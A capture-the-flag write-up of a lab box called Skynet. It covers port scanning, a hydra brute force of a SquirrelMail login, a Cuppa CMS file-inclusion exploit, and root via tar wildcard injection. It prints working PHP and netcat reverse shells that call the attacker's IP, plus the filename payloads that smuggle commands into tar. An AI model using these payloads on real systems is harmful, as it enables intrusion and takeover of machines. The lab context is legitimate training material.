skynet

enumeration

ping

ping \$IP -c 4

```
→ ~ ping $IP -c 4

PING 10.10.15.212 (10.10.15.212) 56(84) bytes of data.

64 bytes from 10.10.15.212: icmp_seq=1 ttl=63 time=18.0 ms

64 bytes from 10.10.15.212: icmp_seq=2 ttl=63 time=18.0 ms

64 bytes from 10.10.15.212: icmp_seq=3 ttl=63 time=17.8 ms

64 bytes from 10.10.15.212: icmp_seq=4 ttl=63 time=18.0 ms

--- 10.10.15.212 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3004ms

rtt min/avg/max/mdev = 17.819/17.949/18.001/0.075 ms
```

whatweb

whatweb \$IP

```
http://10.10.15.212 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux] [Apache/2.4.18 (Ubuntu)], IP[10.10.15.212], Title[Skynet]
```

rustscan

rustscan -a \$IP --ulimit 5000

```
: https://discord.gg/GFrQsGy
HACK THE PLANET
[~] Automatically increasing ulimit value to 5000.
[~] Starting Script(s)
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-14 10:26 GMT
Initiating Ping Scan at 10:26
Completed Ping Scan at 10:26, 0.02s elapsed (1 total hosts)
Initiating Connect Scan at 10:26
Discovered open port 80/tcp on 10.10.15.212
Discovered open port 22/tcp on 10.10.15.212
Discovered open port 139/tcp on 10.10.15.212
Completed Connect Scan at 10:26, 0.02s elapsed (6 total ports)
```

```
Host is up, received syn-ack (0.018s latency).

Scanned at 2022-11-14 10:26:34 GMT for 0s

PORT STATE SERVICE REASON

22/tcp open ssh syn-ack
80/tcp open http syn-ack
110/tcp open pop3 syn-ack
139/tcp open netbios-ssn syn-ack
143/tcp open imap syn-ack
445/tcp open microsoft-ds syn-ack

Read data files from: /usr/bin/../share/nmap

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds
```

masscan

masscan -p1-65535,U:1-65535 \$IP --rate=1000 -e tun0

```
→ ~ sudo masscan -p1-65535,U:1-65535 $IP --rate=1000 -e tun0
[sudo] password for karti:
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-11-14 10:28:05 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 137/udp on 10.10.15.212
Discovered open port 143/tcp on 10.10.15.212
Discovered open port 139/tcp on 10.10.15.212
Discovered open port 445/tcp on 10.10.15.212
Discovered open port 445/tcp on 10.10.15.212
Discovered open port 80/tcp on 10.10.15.212
Discovered open port 22/tcp on 10.10.15.212
```

nmap all ports

nmap -A -sC -sV \$IP -p-

```
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-14 10:26 GMT
Not shown: 65529 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh
   2048 992331bbble943b756944cb9e82146c5 (RSA)
110/tcp open pop3
pop3-capabilities: TOP CAPA UIDL SASL PIPELINING AUTH-RESP-CODE RESP-CODES
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap
_imap-capabilities: Pre-login IMAP4rev1 IDLE LITERAL+ ENABLE post-login OK LOGINDISABLEDA0001 LOGIN-REFERRALS
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel
   challenge_response: supported
   message_signing: disabled (dangerous, but default)
   NetBIOS computer name: SKYNET\x00
```

```
| FQDN: skynet
|_ System time: 2022-11-14T04:26:40-06:00
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-11-14T10:26:40
|_ start_date: N/A
|_ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
| Nmap done: 1 IP address (1 host up) scanned in 22.33 seconds
```

nmap vulnerabilities

nmap --script "vuln" -Pn -n \$IP

```
22/tcp open ssh
80/tcp open http
http-csrf:
   Found the following possible CSRF vulnerabilities:
     Form id:
     Form action:
   /squirrelmail/images/sm_logo.png: SquirrelMail
 http-slowloris-check:
      IDs: CVE:CVE-2007-6750
       Slowloris tries to keep many connections to the target web server open and hold
       them open as long as possible. It accomplishes this by opening connections to
       the target web server and sending a partial request. By doing so, it starves
       the http server's resources causing Denial Of Service.
     Disclosure date: 2009-09-17
     References:
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
       http://ha.ckers.org/slowloris/
110/tcp open pop3
445/tcp open microsoft-ds
_smb-vuln-ms10-054: false
 smb-vuln-regsvc-dos:
   VULNERABLE:
       while working on smb-enum-sessions.
```

nikto

nikto -h \$IP -Display 2

gobuster

initial

gobuster dir -u \$IP -w /usr/share/wordlists/dirb/common.txt

secondary

feroxbuster

feroxbuster --url http://\$IP --depth 2 --wordlist /usr/share/wordlists/wfuzz/general/megabeast.txt

ftp

```
Sharename Type Comment

------
print$ Disk Printer Drivers
anonymous Disk Skynet Anonymous Share
milesdyson Disk Miles Dyson Personal Share
IPC$ IPC Service (skynet server (Samba, Ubuntu))

Reconnecting with SMB1 for workgroup listing.
Server Comment
------
Workgroup Master
```

WORKGROUP SKYNET

So we have two areas to look at: milesdyson and anonymous

files

attention.txt

```
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson
```

So everyone needs to change their password - something to look out for.

log1.txt

```
cyborg007haloterminator
terminator22596
terminator219
terminator1989
terminator1988
terminator16
terminator16
terminator13
terminator13
terminator13
terminator103
terminator101
terminator105
terminator100
roboterminator
pongterminator
pongterminator
determinator20
dterminator20
dterminator20
dterminator200
dterminator 95
exterminator200
dterminator
dexterminator
```

```
79terminator6
1996terminator
```

Now this looks like a list of passwords. Lets check out the milesdyson share.

```
→ ~ smbclient \\\\$IP\\milesdyson -N
tree connect failed: NT_STATUS_ACCESS_DENIED
```

So status denied. Let#s see if hydra can get in:

So this did not give us an answer. Let's review what we have.

primary review

Checking the folders found in the enumeration we don't get anything of interest as they are all forbidden less: SquirrelMail



Once again lets try hydra. First though let's see what ZAP provides for the format.

zap

So attempting to log in with milesdyson:password we get:

```
POST http://skynet.thm/squirrelmail/src/redirect.php HTTP/1.1
Host: skynet.thm
Proxy-Connection: keep-alive
Content-Length: 85
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://skynet.thm
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-GB,en;q=0.9
Referer: http://skynet.thm/squirrelmail/src/login.php
Cookie: SQMSESSID=n6b4n5q36te2rllklv85uh4k76

login_username=milesdyson&secretkey=password&js_autodetect_results=1&just_logged_in=1
```

And for our fail we get the:

```
</script>
<title>SquirrelMail - Unknown user or password incorrect.</title>
<!--[if IE 6]>
<style type="text/css">
/* avoid stupid IE6 bug with frames and scrollbars */
body {
    width: expression(document.documentElement.clientWidth - 30);
}
</style>
<![endif]-->
```

Taking the information and adding it to a default hydra command for an http-post-form, we can add the details as required:

```
hydra -l <username> -P <password file> <ip> http-post-form "/<login url>:username=^USER^&password=^PASS^:F=incorrect" -V -F -u
```

We know the username: milesdyson
We know the password list: log1.txt

• We know the IP address: \$IP

• We know the login URL: squirrelmail/src/redirect.php

We know the format for username and password:
 login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1

• Finally we know the failed return: Unknown user or password incorrect.


Also:

- -V show login+pass for each attempt
- · -F exit when a login/pass pair is found
- · -u loop around users, not passwords

So now we have a password for miles's email. Let's see what this brings.

squirrelmail

It accepts the username and password as we confirmed with hydra.



As we see we have the comments about the samba password reset as mentioned earlier in the attention.txt. Checking it out we get a password.

Password:

```
)s{A&2Z=F^n_E.B`
```

So let's check the samba files for miles.


There are a lot of files in here but we are drawn to a notes folder and then an important.txt file.

file

important.txt

```
1. Add features to beta CMS /45kra24zxs28v3yd
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife
```

Could this be a new directory:




With nothing on the page, I downloaded the image and checked against steghide/stegseek with the known passwords with no luck.

Next to check is the actual folder itself. Remember he mentioned that the folder was a CMS. Let's directory bust it with gobuster:

gobuster

cms



A Cuppa CMS login page is visible. Having tried the basic username and passwords we have - no luck. Checking on searchsploit provides a possible option:

```
→ ~ searchsploit cuppa

---

Exploit Title | Path

---

Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion | php/webapps/25971.txt

---

Shellcodes: No Results
```

Looking further with the -x we see more details:

```
/alerts/alertConfigField.php (LINE: 22)
LINE 22:
DESCRIPTION
tainted data is used when creating the file name that will be included into the current file. PHP code in this
server compromise.
http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]
EXPLOIT
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
Moreover, We could access Configuration.php source code via PHPStream
For Example:
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-
```

So taking the exploit as a test:

```
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../etc/passwd
```

We place this on the browser with the adapted URL:

```
http://skynet.thm/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../etc/passwd
```

This provides us with the copy of the /etc/passwd file:

So let us use one of the small bash scripts in a php wrapper:

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.11.3.207/4444 0>&1'");
?>
```

Saving this as small-bash-reverse.php we can open up the folder with an http.server from python:

```
→ binaries www
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
```

Final part of the puzzle is adding the netcat session to pick up the reverse shell:

```
→ ~ ncat -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
```

Now adding the details to the original exploit:

```
$ curl -s http://$IP/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?
urlConfig=http://10.11.3.207:8888/small-bash-reverse.php
```

Now add it to a curl command. Running it we see that it picks up the file:

```
→ binaries www
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.86.183 - - [14/Nov/2022 13:34:12] "GET /small-bash-reverse.php HTTP/1.0" 200
```

and initiates the reverse shell:

```
    ~ ncat -nlvp 4444

Ncat: Version 7.93 ( https://nmap.org/ncat )

Ncat: Listening on :::4444

Ncat: Listening on 0.0.0.0:4444

Ncat: Connection from 10.10.86.183.

Ncat: Connection from 10.10.86.183:48032.

bash: cannot set terminal process group (1226): Inappropriate ioctl for device

bash: no job control in this shell

www-data@skynet:/var/www/html/45kra24zxs28v3yd/administrator/alerts$
```

Now checking for the user flag:

```
www-data@skynet:/var/www/html/45kra24zxs28v3yd/administrator/alerts$ ls -l /home

<ml/45kra24zxs28v3yd/administrator/alerts$ ls -l /home

total 4

drwxr-xr-x 5 milesdyson milesdyson 4096 Sep 17 2019 milesdyson

www-data@skynet:/var/www/html/45kra24zxs28v3yd/administrator/alerts$ ls -l /home/milesdyson

<ml/45kra24zxs28v3yd/administrator/alerts$ ls -l /home/milesdyson

total 16

drwxr-xr-x 2 root root 4096 Sep 17 2019 backups

drwx----- 3 milesdyson milesdyson 4096 Sep 17 2019 mail

drwxr-xr-x 3 milesdyson milesdyson 4096 Sep 17 2019 share

-rw-r-r-- 1 milesdyson milesdyson 33 Sep 17 2019 user.txt

www-data@skynet:/var/www/html/45kra24zxs28v3yd/administrator/alerts$ cat /home/milesdyson/user.txt

<ml/45kra24zxs28v3yd/administrator/alerts$ cat /home/milesdyson/user.txt

7ce5c2109a40f958099283600a9ae807</pre>
```

While looking for this we find a backup folder owned by root in miles's home folder:

```
www-data@skynet:/home/milesdyson$ ls
ls
backups mail share user.txt
www-data@skynet:/home/milesdyson$ cd backups
cd backups
www-data@skynet:/home/milesdyson/backups$ ls -la
ls -la
total 4584
drwxr-xr-x 2 root root 4096 Sep 17 2019 .
drwxr-xr-x 5 milesdyson milesdyson 4096 Sep 17 2019 ..
-rwxr-xr-x 1 root root 74 Sep 17 2019 backup.sh
-rw-r--r- 1 root root 4679680 Nov 14 07:39 backup.tgz
```

file

backup.sh

```
#!/bin/bash

cd /var/www/html

tar cf /home/milesdyson/backups/backup.tgz *
```

So as it is a back up I check the crontab to see if it runs automatically:

So looking here, we can see that the backup.sh runs every minute. Checking with https://crontab.guru/#*/1*_** we see that it is confirmed:



wildcards

Now when you back up with wildcards using tar, there is a well known exploit that allows root (as long as it is run that way) - great writeup from https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/

So following the details on the exploit:

1. Create the reverse shell

```
www-data@skynet:/var/www/html$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.3.207 5555
>/tmp/f" > shell.sh
< /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.3.207 5555 >/tmp/f" > shell.sh
```

2. Create the actual checkpoint

```
www-data@skynet:/var/www/html$ touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint=1"
www-data@skynet:/var/www/html$
```

3. Create the checkpoint action

```
www-data@skynet:/var/www/html$ touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
<ml$ touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"</pre>
```

Then set up a netcat session on 5555:

```
→ skynet ncat -nlvp 5555

Ncat: Version 7.93 ( https://nmap.org/ncat )

Ncat: Listening on :::5555

Ncat: Listening on 0.0.0.0:5555
```

A short time later we get the root shell as the backup runs every minute:

```
→ skynet ncat -nlvp 5555
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.10.212.226.
Ncat: Connection from 10.10.212.226:47240.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# pwd
/var/www/html
# cat /root/root.txt
3f0372db24753accc7179a282cd6a949
```